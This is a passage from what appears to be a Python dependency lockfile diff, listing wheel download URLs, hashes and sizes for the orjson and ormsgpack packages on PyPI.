"https://files.pythonhosted.org/packages/66/1f/cabb9132a533f4f913e29294d0a1ca818b1a9a52e990526fe3f7ddd75f1c/orjson-3.11.6-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:2a8eeed7d4544cf391a142b0dd06029dac588e96cc692d9ab1c3f05b1e57c7f6", size = 421408, upload-time = "2026-01-29T15:11:29.314Z" }, + { url = "https://files.pythonhosted.org/packages/4c/b9/09bda9257a982e300313e4a9fc9b9c3aaff424d07bcf765bf045e4e3ed03/orjson-3.11.6-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:9d576865a21e5cc6695be8fb78afc812079fd361ce6a027a7d41561b61b33a90", size = 155801, upload-time = "2026-01-29T15:11:30.575Z" }, + { url = "https://files.pythonhosted.org/packages/98/19/4e40ea3e5f4c6a8d51f31fd2382351ee7b396fecca915b17cd1af588175b/orjson-3.11.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:925e2df51f60aa50f8797830f2adfc05330425803f4105875bb511ced98b7f89", size = 147647, upload-time = "2026-01-29T15:11:31.856Z" }, + { url = "https://files.pythonhosted.org/packages/5a/73/ef4bd7dd15042cf33a402d16b87b9e969e71edb452b63b6e2b05025d1f7d/orjson-3.11.6-cp310-cp310-win32.whl", hash = "sha256:09dded2de64e77ac0b312ad59f35023548fb87393a57447e1bb36a26c181a90f", size = 139770, upload-time = "2026-01-29T15:11:33.031Z" }, + { url = "https://files.pythonhosted.org/packages/b4/ac/daab6e10467f7fffd7081ba587b492505b49313130ff5446a6fe28bf076e/orjson-3.11.6-cp310-cp310-win_amd64.whl", hash = "sha256:3a63b5e7841ca8635214c6be7c0bf0246aa8c5cd4ef0c419b14362d0b2fb13de", size = 136783, upload-time = "2026-01-29T15:11:34.686Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fd/d6b0a36854179b93ed77839f107c4089d91cccc9f9ba1b752b6e3bac5f34/orjson-3.11.6-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e259e85a81d76d9665f03d6129e09e4435531870de5961ddcd0bf6e3a7fde7d7", size = 250029, upload-time = "2026-01-29T15:11:35.942Z" }, + { url = "https://files.pythonhosted.org/packages/a3/bb/22902619826641cf3b627c24aab62e2ad6b571bdd1d34733abb0dd57f67a/orjson-3.11.6-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:52263949f41b4a4822c6b1353bcc5ee2f7109d53a3b493501d3369d6d0e7937a", size = 134518, upload-time = "2026-01-29T15:11:37.347Z" }, + { url = "https://files.pythonhosted.org/packages/72/90/7a818da4bba1de711a9653c420749c0ac95ef8f8651cbc1dca551f462fe0/orjson-3.11.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6439e742fa7834a24698d358a27346bb203bff356ae0402e7f5df8f749c621a8", size = 137917, upload-time = "2026-01-29T15:11:38.511Z" }, + { url = "https://files.pythonhosted.org/packages/59/0f/02846c1cac8e205cb3822dd8aa8f9114acda216f41fd1999ace6b543418d/orjson-3.11.6-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b81ffd68f084b4e993e3867acb554a049fa7787cc8710bbcc1e26965580d99be", size = 134923, upload-time = "2026-01-29T15:11:39.711Z" }, + { url = "https://files.pythonhosted.org/packages/94/cf/aeaf683001b474bb3c3c757073a4231dfdfe8467fceaefa5bfd40902c99f/orjson-3.11.6-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a5a5468e5e60f7ef6d7f9044b06c8f94a3c56ba528c6e4f7f06ae95164b595ec", size = 140752, upload-time = "2026-01-29T15:11:41.347Z" }, + { url = "https://files.pythonhosted.org/packages/fc/fe/dad52d8315a65f084044a0819d74c4c9daf9ebe0681d30f525b0d29a31f0/orjson-3.11.6-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:72c5005eb45bd2535632d4f3bec7ad392832cfc46b62a3021da3b48a67734b45", size = 144201, upload-time = "2026-01-29T15:11:42.537Z" }, + { url = "https://files.pythonhosted.org/packages/36/bc/ab070dd421565b831801077f1e390c4d4af8bfcecafc110336680a33866b/orjson-3.11.6-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0b14dd49f3462b014455a28a4d810d3549bf990567653eb43765cd847df09145", size = 142380, upload-time = "2026-01-29T15:11:44.309Z" }, + { url = "https://files.pythonhosted.org/packages/e6/d8/4b581c725c3a308717f28bf45a9fdac210bca08b67e8430143699413ff06/orjson-3.11.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e0bb2c1ea30ef302f0f89f9bf3e7f9ab5e2af29dc9f80eb87aa99788e4e2d65", size = 145582, upload-time = "2026-01-29T15:11:45.506Z" }, + { url = "https://files.pythonhosted.org/packages/5b/a2/09aab99b39f9a7f175ea8fa29adb9933a3d01e7d5d603cdee7f1c40c8da2/orjson-3.11.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:825e0a85d189533c6bff7e2fc417a28f6fcea53d27125c4551979aecd6c9a197", size = 147270, upload-time = "2026-01-29T15:11:46.782Z" }, + { url = "https://files.pythonhosted.org/packages/b8/2f/5ef8eaf7829dc50da3bf497c7775b21ee88437bc8c41f959aa3504ca6631/orjson-3.11.6-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:b04575417a26530637f6ab4b1f7b4f666eb0433491091da4de38611f97f2fcf3", size = 421222, upload-time = "2026-01-29T15:11:48.106Z" }, + { url = "https://files.pythonhosted.org/packages/3b/b0/dd6b941294c2b5b13da5fdc7e749e58d0c55a5114ab37497155e83050e95/orjson-3.11.6-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:b83eb2e40e8c4da6d6b340ee6b1d6125f5195eb1b0ebb7eac23c6d9d4f92d224", size = 155562, upload-time = "2026-01-29T15:11:49.408Z" }, + { url = "https://files.pythonhosted.org/packages/8e/09/43924331a847476ae2f9a16bd6d3c9dab301265006212ba0d3d7fd58763a/orjson-3.11.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1f42da604ee65a6b87eef858c913ce3e5777872b19321d11e6fc6d21de89b64f", size = 147432, upload-time = "2026-01-29T15:11:50.635Z" }, + { url = "https://files.pythonhosted.org/packages/5d/e9/d9865961081816909f6b49d880749dbbd88425afd7c5bbce0549e2290d77/orjson-3.11.6-cp311-cp311-win32.whl", hash = "sha256:5ae45df804f2d344cffb36c43fdf03c82fb6cd247f5faa41e21891b40dfbf733", size = 139623, upload-time = "2026-01-29T15:11:51.82Z" }, + { url = "https://files.pythonhosted.org/packages/b4/f9/6836edb92f76eec1082919101eb1145d2f9c33c8f2c5e6fa399b82a2aaa8/orjson-3.11.6-cp311-cp311-win_amd64.whl", hash = "sha256:f4295948d65ace0a2d8f2c4ccc429668b7eb8af547578ec882e16bf79b0050b2", size = 136647, upload-time = "2026-01-29T15:11:53.454Z" }, + { url = "https://files.pythonhosted.org/packages/b3/0c/4954082eea948c9ae52ee0bcbaa2f99da3216a71bcc314ab129bde22e565/orjson-3.11.6-cp311-cp311-win_arm64.whl", hash = "sha256:314e9c45e0b81b547e3a1cfa3df3e07a815821b3dac9fe8cb75014071d0c16a4", size = 135327, upload-time = "2026-01-29T15:11:56.616Z" }, + { url = "https://files.pythonhosted.org/packages/14/ba/759f2879f41910b7e5e0cdbd9cf82a4f017c527fb0e972e9869ca7fe4c8e/orjson-3.11.6-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:6f03f30cd8953f75f2a439070c743c7336d10ee940da918d71c6f3556af3ddcf", size = 249988, upload-time = "2026-01-29T15:11:58.294Z" }, + { url = "https://files.pythonhosted.org/packages/f0/70/54cecb929e6c8b10104fcf580b0cc7dc551aa193e83787dd6f3daba28bb5/orjson-3.11.6-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:af44baae65ef386ad971469a8557a0673bb042b0b9fd4397becd9c2dfaa02588", size = 134445, upload-time = "2026-01-29T15:11:59.819Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6f/ec0309154457b9ba1ad05f11faa4441f76037152f75e1ac577db3ce7ca96/orjson-3.11.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c310a48542094e4f7dbb6ac076880994986dda8ca9186a58c3cb70a3514d3231", size = 137708, upload-time = "2026-01-29T15:12:01.488Z" }, + { url = "https://files.pythonhosted.org/packages/20/52/3c71b80840f8bab9cb26417302707b7716b7d25f863f3a541bcfa232fe6e/orjson-3.11.6-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d8dfa7a5d387f15ecad94cb6b2d2d5f4aeea64efd8d526bfc03c9812d01e1cc0", size = 134798, upload-time = "2026-01-29T15:12:02.705Z" }, + { url = "https://files.pythonhosted.org/packages/30/51/b490a43b22ff736282360bd02e6bded455cf31dfc3224e01cd39f919bbd2/orjson-3.11.6-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba8daee3e999411b50f8b50dbb0a3071dd1845f3f9a1a0a6fa6de86d1689d84d", size = 140839, upload-time = "2026-01-29T15:12:03.956Z" }, + { url = "https://files.pythonhosted.org/packages/95/bc/4bcfe4280c1bc63c5291bb96f98298845b6355da2226d3400e17e7b51e53/orjson-3.11.6-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f89d104c974eafd7436d7a5fdbc57f7a1e776789959a2f4f1b2eab5c62a339f4", size = 144080, upload-time = "2026-01-29T15:12:05.151Z" }, + { url = "https://files.pythonhosted.org/packages/01/74/22970f9ead9ab1f1b5f8c227a6c3aa8d71cd2c5acd005868a1d44f2362fa/orjson-3.11.6-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2e2e2456788ca5ea75616c40da06fc885a7dc0389780e8a41bf7c5389ba257b", size = 142435, upload-time = "2026-01-29T15:12:06.641Z" }, + { url = "https://files.pythonhosted.org/packages/29/34/d564aff85847ab92c82ee43a7a203683566c2fca0723a5f50aebbe759603/orjson-3.11.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2a42efebc45afabb1448001e90458c4020d5c64fbac8a8dc4045b777db76cb5a", size = 145631, upload-time = "2026-01-29T15:12:08.351Z" }, + { url = "https://files.pythonhosted.org/packages/e7/ef/016957a3890752c4aa2368326ea69fa53cdc1fdae0a94a542b6410dbdf52/orjson-3.11.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:71b7cbef8471324966c3738c90ba38775563ef01b512feb5ad4805682188d1b9", size = 147058, upload-time = "2026-01-29T15:12:10.023Z" }, + { url = "https://files.pythonhosted.org/packages/56/cc/9a899c3972085645b3225569f91a30e221f441e5dc8126e6d060b971c252/orjson-3.11.6-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:f8515e5910f454fe9a8e13c2bb9dc4bae4c1836313e967e72eb8a4ad874f0248", size = 421161, upload-time = "2026-01-29T15:12:11.308Z" }, + { url = "https://files.pythonhosted.org/packages/21/a8/767d3fbd6d9b8fdee76974db40619399355fd49bf91a6dd2c4b6909ccf05/orjson-3.11.6-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:300360edf27c8c9bf7047345a94fddf3a8b8922df0ff69d71d854a170cb375cf", size = 155757, upload-time = "2026-01-29T15:12:12.776Z" }, + { url = "https://files.pythonhosted.org/packages/ad/0b/205cd69ac87e2272e13ef3f5f03a3d4657e317e38c1b08aaa2ef97060bbc/orjson-3.11.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:caaed4dad39e271adfadc106fab634d173b2bb23d9cf7e67bd645f879175ebfc", size = 147446, upload-time = "2026-01-29T15:12:14.166Z" }, + { url = "https://files.pythonhosted.org/packages/de/c5/dd9f22aa9f27c54c7d05cc32f4580c9ac9b6f13811eeb81d6c4c3f50d6b1/orjson-3.11.6-cp312-cp312-win32.whl", hash = "sha256:955368c11808c89793e847830e1b1007503a5923ddadc108547d3b77df761044", size = 139717, upload-time = "2026-01-29T15:12:15.7Z" }, + { url = "https://files.pythonhosted.org/packages/23/a1/e62fc50d904486970315a1654b8cfb5832eb46abb18cd5405118e7e1fc79/orjson-3.11.6-cp312-cp312-win_amd64.whl", hash = "sha256:2c68de30131481150073d90a5d227a4a421982f42c025ecdfb66157f9579e06f", size = 136711, upload-time = "2026-01-29T15:12:17.055Z" }, + { url = "https://files.pythonhosted.org/packages/04/3d/b4fefad8bdf91e0fe212eb04975aeb36ea92997269d68857efcc7eb1dda3/orjson-3.11.6-cp312-cp312-win_arm64.whl", hash = "sha256:65dfa096f4e3a5e02834b681f539a87fbe85adc82001383c0db907557f666bfc", size = 135212, upload-time = "2026-01-29T15:12:18.3Z" }, + { url = "https://files.pythonhosted.org/packages/ae/45/d9c71c8c321277bc1ceebf599bc55ba826ae538b7c61f287e9a7e71bd589/orjson-3.11.6-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e4ae1670caabb598a88d385798692ce2a1b2f078971b3329cfb85253c6097f5b", size = 249828, upload-time = "2026-01-29T15:12:20.14Z" }, + { url = "https://files.pythonhosted.org/packages/ac/7e/4afcf4cfa9c2f93846d70eee9c53c3c0123286edcbeb530b7e9bd2aea1b2/orjson-3.11.6-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:2c6b81f47b13dac2caa5d20fbc953c75eb802543abf48403a4703ed3bff225f0", size = 134339, upload-time = "2026-01-29T15:12:22.01Z" }, + { url = "https://files.pythonhosted.org/packages/40/10/6d2b8a064c8d2411d3d0ea6ab43125fae70152aef6bea77bb50fa54d4097/orjson-3.11.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:647d6d034e463764e86670644bdcaf8e68b076e6e74783383b01085ae9ab334f", size = 137662, upload-time = "2026-01-29T15:12:23.307Z" }, + { url = "https://files.pythonhosted.org/packages/5a/50/5804ea7d586baf83ee88969eefda97a24f9a5bdba0727f73e16305175b26/orjson-3.11.6-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8523b9cc4ef174ae52414f7699e95ee657c16aa18b3c3c285d48d7966cce9081", size = 134626, upload-time = "2026-01-29T15:12:25.099Z" }, + { url = "https://files.pythonhosted.org/packages/9e/2e/f0492ed43e376722bb4afd648e06cc1e627fc7ec8ff55f6ee739277813ea/orjson-3.11.6-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:313dfd7184cde50c733fc0d5c8c0e2f09017b573afd11dc36bd7476b30b4cb17", size = 140873, upload-time = "2026-01-29T15:12:26.369Z" }, + { url = "https://files.pythonhosted.org/packages/10/15/6f874857463421794a303a39ac5494786ad46a4ab46d92bda6705d78c5aa/orjson-3.11.6-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905ee036064ff1e1fd1fb800055ac477cdcb547a78c22c1bc2bbf8d5d1a6fb42", size = 144044, upload-time = "2026-01-29T15:12:28.082Z" }, + { url = "https://files.pythonhosted.org/packages/d2/c7/b7223a3a70f1d0cc2d86953825de45f33877ee1b124a91ca1f79aa6e643f/orjson-3.11.6-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ce374cb98411356ba906914441fc993f271a7a666d838d8de0e0900dd4a4bc12", size = 142396, upload-time = "2026-01-29T15:12:30.529Z" }, + { url = "https://files.pythonhosted.org/packages/87/e3/aa1b6d3ad3cd80f10394134f73ae92a1d11fdbe974c34aa199cc18bb5fcf/orjson-3.11.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cded072b9f65fcfd188aead45efa5bd528ba552add619b3ad2a81f67400ec450", size = 145600, upload-time = "2026-01-29T15:12:31.848Z" }, + { url = "https://files.pythonhosted.org/packages/f6/cf/e4aac5a46cbd39d7e769ef8650efa851dfce22df1ba97ae2b33efe893b12/orjson-3.11.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7ab85bdbc138e1f73a234db6bb2e4cc1f0fcec8f4bd2bd2430e957a01aadf746", size = 146967, upload-time = "2026-01-29T15:12:33.203Z" }, + { url = "https://files.pythonhosted.org/packages/0b/04/975b86a4bcf6cfeda47aad15956d52fbeda280811206e9967380fa9355c8/orjson-3.11.6-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:351b96b614e3c37a27b8ab048239ebc1e0be76cc17481a430d70a77fb95d3844", size = 421003, upload-time = "2026-01-29T15:12:35.097Z" }, + { url = "https://files.pythonhosted.org/packages/28/d1/0369d0baf40eea5ff2300cebfe209883b2473ab4aa4c4974c8bd5ee42bb2/orjson-3.11.6-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:f9959c85576beae5cdcaaf39510b15105f1ee8b70d5dacd90152617f57be8c83", size = 155695, upload-time = "2026-01-29T15:12:36.589Z" }, + { url = "https://files.pythonhosted.org/packages/ab/1f/d10c6d6ae26ff1d7c3eea6fd048280ef2e796d4fb260c5424fd021f68ecf/orjson-3.11.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:75682d62b1b16b61a30716d7a2ec1f4c36195de4a1c61f6665aedd947b93a5d5", size = 147392, upload-time = "2026-01-29T15:12:37.876Z" }, + { url = "https://files.pythonhosted.org/packages/8d/43/7479921c174441a0aa5277c313732e20713c0969ac303be9f03d88d3db5d/orjson-3.11.6-cp313-cp313-win32.whl", hash = "sha256:40dc277999c2ef227dcc13072be879b4cfd325502daeb5c35ed768f706f2bf30", size = 139718, upload-time = "2026-01-29T15:12:39.274Z" }, + { url = "https://files.pythonhosted.org/packages/88/bc/9ffe7dfbf8454bc4e75bb8bf3a405ed9e0598df1d3535bb4adcd46be07d0/orjson-3.11.6-cp313-cp313-win_amd64.whl", hash = "sha256:f0f6e9f8ff7905660bc3c8a54cd4a675aa98f7f175cf00a59815e2ff42c0d916", size = 136635, upload-time = "2026-01-29T15:12:40.593Z" }, + { url = "https://files.pythonhosted.org/packages/6f/7e/51fa90b451470447ea5023b20d83331ec741ae28d1e6d8ed547c24e7de14/orjson-3.11.6-cp313-cp313-win_arm64.whl", hash = "sha256:1608999478664de848e5900ce41f25c4ecdfc4beacbc632b6fd55e1a586e5d38", size = 135175, upload-time = "2026-01-29T15:12:41.997Z" }, + { url = "https://files.pythonhosted.org/packages/31/9f/46ca908abaeeec7560638ff20276ab327b980d73b3cc2f5b205b4a1c60b3/orjson-3.11.6-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:6026db2692041d2a23fe2545606df591687787825ad5821971ef0974f2c47630", size = 249823, upload-time = "2026-01-29T15:12:43.332Z" }, + { url = "https://files.pythonhosted.org/packages/ff/78/ca478089818d18c9cd04f79c43f74ddd031b63c70fa2a946eb5e85414623/orjson-3.11.6-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:132b0ab2e20c73afa85cf142e547511feb3d2f5b7943468984658f3952b467d4", size = 134328, upload-time = "2026-01-29T15:12:45.171Z" }, + { url = "https://files.pythonhosted.org/packages/39/5e/cbb9d830ed4e47f4375ad8eef8e4fff1bf1328437732c3809054fc4e80be/orjson-3.11.6-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b376fb05f20a96ec117d47987dd3b39265c635725bda40661b4c5b73b77b5fde", size = 137651, upload-time = "2026-01-29T15:12:46.602Z" }, + { url = "https://files.pythonhosted.org/packages/7c/3a/35df6558c5bc3a65ce0961aefee7f8364e59af78749fc796ea255bfa0cf5/orjson-3.11.6-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:954dae4e080574672a1dfcf2a840eddef0f27bd89b0e94903dd0824e9c1db060", size = 134596, upload-time = "2026-01-29T15:12:47.95Z" }, + { url = "https://files.pythonhosted.org/packages/cd/8e/3d32dd7b7f26a19cc4512d6ed0ae3429567c71feef720fe699ff43c5bc9e/orjson-3.11.6-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe515bb89d59e1e4b48637a964f480b35c0a2676de24e65e55310f6016cca7ce", size = 140923, upload-time = "2026-01-29T15:12:49.333Z" }, + { url = "https://files.pythonhosted.org/packages/6c/9c/1efbf5c99b3304f25d6f0d493a8d1492ee98693637c10ce65d57be839d7b/orjson-3.11.6-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:380f9709c275917af28feb086813923251e11ee10687257cd7f1ea188bcd4485", size = 144068, upload-time = "2026-01-29T15:12:50.927Z" }, + { url = "https://files.pythonhosted.org/packages/82/83/0d19eeb5be797de217303bbb55dde58dba26f996ed905d301d98fd2d4637/orjson-3.11.6-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8173e0d3f6081e7034c51cf984036d02f6bab2a2126de5a759d79f8e5a140e7", size = 142493, upload-time = "2026-01-29T15:12:52.432Z" }, + { url = "https://files.pythonhosted.org/packages/32/a7/573fec3df4dc8fc259b7770dc6c0656f91adce6e19330c78d23f87945d1e/orjson-3.11.6-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6dddf9ba706294906c56ef5150a958317b09aa3a8a48df1c52ccf22ec1907eac", size = 145616, upload-time = "2026-01-29T15:12:53.903Z" }, + { url = "https://files.pythonhosted.org/packages/c2/0e/23551b16f21690f7fd5122e3cf40fdca5d77052a434d0071990f97f5fe2f/orjson-3.11.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:cbae5c34588dc79938dffb0b6fbe8c531f4dc8a6ad7f39759a9eb5d2da405ef2", size = 146951, upload-time = "2026-01-29T15:12:55.698Z" }, + { url = "https://files.pythonhosted.org/packages/b8/63/5e6c8f39805c39123a18e412434ea364349ee0012548d08aa586e2bd6aa9/orjson-3.11.6-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:f75c318640acbddc419733b57f8a07515e587a939d8f54363654041fd1f4e465", size = 421024, upload-time = "2026-01-29T15:12:57.434Z" }, + { url = "https://files.pythonhosted.org/packages/1d/4d/724975cf0087f6550bd01fd62203418afc0ea33fd099aed318c5bcc52df8/orjson-3.11.6-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:e0ab8d13aa2a3e98b4a43487c9205b2c92c38c054b4237777484d503357c8437", size = 155774, upload-time = "2026-01-29T15:12:59.397Z" }, + { url = "https://files.pythonhosted.org/packages/a8/a3/f4c4e3f46b55db29e0a5f20493b924fc791092d9a03ff2068c9fe6c1002f/orjson-3.11.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f884c7fb1020d44612bd7ac0db0babba0e2f78b68d9a650c7959bf99c783773f", size = 147393, upload-time = "2026-01-29T15:13:00.769Z" }, + { url = "https://files.pythonhosted.org/packages/ee/86/6f5529dd27230966171ee126cecb237ed08e9f05f6102bfaf63e5b32277d/orjson-3.11.6-cp314-cp314-win32.whl", hash = "sha256:8d1035d1b25732ec9f971e833a3e299d2b1a330236f75e6fd945ad982c76aaf3", size = 139760, upload-time = "2026-01-29T15:13:02.173Z" }, + { url = "https://files.pythonhosted.org/packages/d3/b5/91ae7037b2894a6b5002fb33f4fbccec98424a928469835c3837fbb22a9b/orjson-3.11.6-cp314-cp314-win_amd64.whl", hash = "sha256:931607a8865d21682bb72de54231655c86df1870502d2962dbfd12c82890d077", size = 136633, upload-time = "2026-01-29T15:13:04.267Z" }, + { url = "https://files.pythonhosted.org/packages/55/74/f473a3ec7a0a7ebc825ca8e3c86763f7d039f379860c81ba12dcdd456547/orjson-3.11.6-cp314-cp314-win_arm64.whl", hash = "sha256:fe71f6b283f4f1832204ab8235ce07adad145052614f77c876fcf0dac97bc06f", size = 135168, upload-time = "2026-01-29T15:13:05.932Z" }, +] + +[[package]] +name = "ormsgpack" +version = "1.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/fa/a91f70829ebccf6387c4946e0a1a109f6ba0d6a28d65f628bedfad94b890/ormsgpack-1.12.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c1429217f8f4d7fcb053523bbbac6bed5e981af0b85ba616e6df7cce53c19657", size = 378262, upload-time = "2026-01-18T20:55:22.284Z" }, + { url = "https://files.pythonhosted.org/packages/5f/62/3698a9a0c487252b5c6a91926e5654e79e665708ea61f67a8bdeceb022bf/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f13034dc6c84a6280c6c33db7ac420253852ea233fc3ee27c8875f8dd651163", size = 203034, upload-time = "2026-01-18T20:55:53.324Z" }, + { url = "https://files.pythonhosted.org/packages/66/3a/f716f64edc4aec2744e817660b317e2f9bb8de372338a95a96198efa1ac1/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:59f5da97000c12bc2d50e988bdc8576b21f6ab4e608489879d35b2c07a8ab51a", size = 210538, upload-time = "2026-01-18T20:55:20.097Z" }, + { url = "https://files.pythonhosted.org/packages/72/30/a436be9ce27d693d4e19fa94900028067133779f09fc45776db3f689c822/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e4459c3f27066beadb2b81ea48a076a417aafffff7df1d3c11c519190ed44f2", size = 212401, upload-time = "2026-01-18T20:55:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/10/c5/cde98300fd33fee84ca71de4751b19aeeca675f0cf3c0ec4b043f40f3b76/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a1c460655d7288407ffa09065e322a7231997c0d62ce914bf3a96ad2dc6dedd", size = 387080, upload-time = "2026-01-18T20:56:00.884Z" }, + { url = "https://files.pythonhosted.org/packages/6a/31/30bf445ef827546747c10889dd254b3d84f92b591300efe4979d792f4c41/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:458e4568be13d311ef7d8877275e7ccbe06c0e01b39baaac874caaa0f46d826c", size = 482346, upload-time = "2026-01-18T20:55:39.831Z" }, + { url = "https://files.pythonhosted.org/packages/2e/f5/e1745ddf4fa246c921b5ca253636c4c700ff768d78032f79171289159f6e/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8cde5eaa6c6cbc8622db71e4a23de56828e3d876aeb6460ffbcb5b8aff91093b", size = 425178, upload-time = "2026-01-18T20:55:27.106Z" }, + { url = "https://files.pythonhosted.org/packages/8d/a2/e6532ed7716aed03dede8df2d0d0d4150710c2122647d94b474147ccd891/ormsgpack-1.12.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc7a33be14c347893edbb1ceda89afbf14c467d593a5ee92c11de4f1666b4d4f", size = 117183, upload-time = "2026-01-18T20:55:55.52Z" }, + { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" }, + { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" }, + { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" }, + { url = 